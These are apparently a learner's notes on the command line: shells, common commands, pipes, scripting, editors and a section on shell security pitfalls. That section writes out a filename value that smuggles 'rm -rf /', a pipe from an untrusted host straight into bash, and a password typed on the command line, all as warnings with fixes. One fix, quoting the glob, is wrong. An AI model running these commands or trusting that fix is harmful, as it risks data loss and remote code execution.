CLI Notes - Hreimur¶

History¶

1950s (Batch processing): Punch cards, no UI, hours of wait time
1960 - 1980 (CLI Era): Time sharing, terminals, Unix (1969) introduced shell & piping, MS-DOS (1981)
1970-1990 (GUI Birth): Xerox PARC (1973) - WIMP metaphor, Mac (1984), Windows 95
2000s-Present: Linux dominates servers, Mac OS X (Unix + GUI), headless cloud servers

Why Use CLI?¶

Efficiency & Workflow: - Faster keyboard driven workflows - Wildcards/regex for pattern matching - Piping for complex workflows - Automation via scripts/cron Power & Control: - Access 100% of features (not just GUI’s 80%) - Override safety rails (sudo and force flags) - Better error messages - CLI first tools (Git, Docker and npm) Infrastructure: - Remote server management (SSH) - Low resource usage - System rescue when GUI crashes - Direct kernel access Consistency - Same commands across platforms - Stable through time (1970s commands still work) - Easier to communicate instructions

Shells Comparison¶

Shell	Platform	Key Features
Bash	Linux/Unix	POSIX compliant, default on most Linux, text streams
Zsh	macOS	More customizable, advanced features
PowerShell	Windows	Verb-Noun syntax, pipes .NET object(not text)
WSL	Windows	Run Bash/Zsh on Windows

Essential commands¶

Navigation & Files

pwd # prints directory
ls / ls -la # list files / hidden files
cd # change directory
touch file # create a file
cp / mv / rm # copy / move. delete
rm -rf # force recursive delete
man <command> # show manual
history # command history CTRL+R to search

Reading & Searching

cat # read content
less # pager
head -n 10 # first 10 lines
tail -n 10 # last 10 lines
tail -f # live log
grep "txt" # search text
find . -name "X" # find file
grep -r 'txt' # find by config

Text Processing

Tool	Purpose	Example
`tr`	Char Swapper	`echo "hi" \\| tr 'a-z' 'A-Z'`
`cut`	Slicer (CSV)	`cut -d"," -f1 data.csv`
`sed`	Regex replace	`sed 's/cat/dog/g' file.txt`
`awk`	Spreadsheet (columns)	`ps aux \\| awk '{print $2}'`
Admin & Networking
`sudo command # superuser permissions ps / kill PID # process management curl url # web request`

Pipes & Patterns¶

Pipes | : Connect output of one command to input of another

ls -l | sort -nk5 | tail -n3 # find the 3 largest files

File globs vs reges: Globs: Shell interpret for filenames (*.txt,? = any single char) Regex: Tools interpret for text content (.= any char, *star = zero or more) Regex cheatsheet: . any char, ^ start of line, $ end of line, * zero or more, [a-z] char range, (X|Y) X or Y

Loops & functions¶

bash loop:

for f in *.txt; do
    mv "$f" "$f.bak"
done

bash function:

greet() {
    echo "Hello $1" # $1 = first argument
}
greet "John"

PowerShell: Use foreach, ForEach-Object, named parameters in param() block

Script Files¶

Shell	Extension	Header	Execution
Bash	`.sh`	`#!/bin/bash`	`chmod +x file.sh` then `./file.sh`
Powershell	`.ps1`	None	`.\file.ps1` (no execution policy)
CMD	`.bat`	`@echo off`	Just type filename
Shebang (`#!`): First line tells OS which interpreter to use

Editors¶

Editor	Type	Notes
Nano	Beginner	Modeless, instructions on screen
Vim	Standard	Modal (Insert/Command mode) fast once learned
Emacs	Ecosystem	Programmable, complex key combos
Exit Vim: `Esc` `:q!` `Enter`

Vulnerabilities¶

Shell injection

rm $filename

Attack: filename = “file.txt; rm -rf /” how to fix it: rm "$filename" always quote the vars bro Curl Bash Anti Pattern

curl http://untrusted.com/script.sh | bash

don’t do this, download it first and inspect it and then maybe run it History File Leaks

mysql -pSecret123

the password was now saved to .bash_history, to fix this use interactive prompts or environment vars Path hijacking don’t add . (current dir) to $PATH, attack can create fake ls commands that run malware Permission Laziness

chmod 777 file

Everyone can modify this, just use the principle of least privilege Wildcard Injection Attacker can create files named “-rf”

rm * # Expands to rm file1 file2 -rf

Fix: rm ./* or use -- (rm -- * ) Running as root Always use standard user + sudo when needed, Typo hazard: rm -rf / home space after the / deletes EVERYTHING

Bash vs PowerShell diffs¶

Feature	Bash	PowerShell
Pipes	Text Streams	.Net Objects
Variables	`$var`	`$_` in pipeline
Columns	`awk`, `cut`	`Select-Object`
Text Replace	`sed`	`-replace` operator
Aliases	Same flags	Different Flags!

Wildcard Injection Prevention¶

Problem: How to prevent attacks like rm * when attacker creates a file named -rf? - Use -- to end options rm -- * - use ./ prefix: rm ./* - Quote the glob: rm " * " - Never run commands in untrusted dirs as root

Curl bash Problem¶

Task: Find recent supply chain attack where remote script was compromised Verify the integrity: Download the script first, Check file hash against published checksums, Inspect the code manually, Use GPG signatures if available, Check HTTPS certificate, Review source repo history and only then run it.

Principle of least privilege¶

Why sudo > logging in as root Audit trail: var/log/auth.log tracks who did what, Requires a password which can prevent accidental commands, Time limited: sudo access expires, Selective: Can grant specific commands only, Reversible: easy to revoke access. Audit trail example: Shows “User X ran command Y at time Z”